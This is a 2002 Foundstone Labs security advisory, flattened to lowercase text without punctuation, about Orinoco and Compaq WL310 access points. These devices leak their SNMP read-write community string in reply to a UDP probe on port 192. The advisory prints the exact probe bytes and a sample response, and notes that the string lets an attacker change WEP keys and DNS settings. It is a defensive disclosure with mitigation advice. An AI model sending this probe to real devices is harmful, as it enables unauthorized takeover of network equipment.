foundstone labs labsfoundstonecom foundstone labs advisory 080902apil advisory name information leakage orinoco compaq access points release date august 9th 2002 application orinoco residential gateway compaq wl310 platforms na severity ability displaymodify configuration information vendors orinoco httpwwworinocowirelesscom compaq httpwwwcompaqcom authors marshall beddoe marshallbeddoefoundstonecom tony bettini tonybettinifoundstonecom cve candidate can20020812 reference httpwwwfoundstonecomadvisories overview information leakage vulnerability exists orinoco compaq oem access points disclosing unique snmp community string result attacker query community string gain ability change system configuration including wired equivalent privacy wep keys domain name service dns information detailed description compaq wl310 oem orinoco residential gateway access point compaq orinoco access points use unique identification number found bottom access point configuration management client identification string used default snmp readwrite community string community strings appears unchangable unique easily guessable sending specific packet udp port 192 access point return information including firmware version unique identification value packet returned includes value systemsysname0 case compaq wl310 orinoco residential gateway includes unique identification value identification value used snmp community string view modify configuration probe packet x01x00x00x00x70x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00 example probe response 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 1d 20 2e 38 00 00 18 19 10 f8 8 4f 52 69 4e 4f 43 4f 20 52 47 2d 31 31 30 30 20 orinoco rg1100 30 33 39 32 61 30 00 00 00 00 00 00 00 00 00 00 0392a0 02 8f 24 02 52 47 2d 31 31 30 30 20 56 33 2e 38 rg1100 v38 33 20 53 4e 2d 30 32 55 54 30 38 32 33 32 33 34 3 sn02ut0823234 32 20 56 00 2 v systemsysname0 orinoco rg1100 0392a0 community name 0392a0 vendor response vendors notified issue july 8th 2002 according orinoco residential gateway line discontinued solution employ packet filtering inbound requests deny access ports 192udp 161udp access point foundscan updated check vulnerability information foundscan see foundstone website httpwwwfoundstonecom disclaimer information contained advisory copyright c 2002 foundstone inc believed accurate time publishing representation warranty given express implied accuracy completeness event shall author foundstone liable direct indirect incidental special exemplary consequential damages resulting use misuse information advisory may redistributed provided fee assigned advisory modified way fri 9 aug 2002 111204 0700 vulnwatch foundstone labs advisory information leakage orinoco compaq access points